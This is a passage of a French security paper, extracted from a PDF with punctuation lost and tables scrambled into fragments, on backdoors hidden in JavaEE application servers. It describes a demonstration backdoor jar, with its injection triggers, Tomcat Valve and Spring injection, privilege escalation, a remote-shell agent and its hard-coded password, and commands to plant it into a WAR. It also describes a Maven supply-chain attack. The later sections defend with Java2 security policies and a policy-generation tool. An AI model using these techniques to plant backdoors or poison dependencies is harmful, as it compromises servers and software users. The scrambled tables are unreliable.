pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

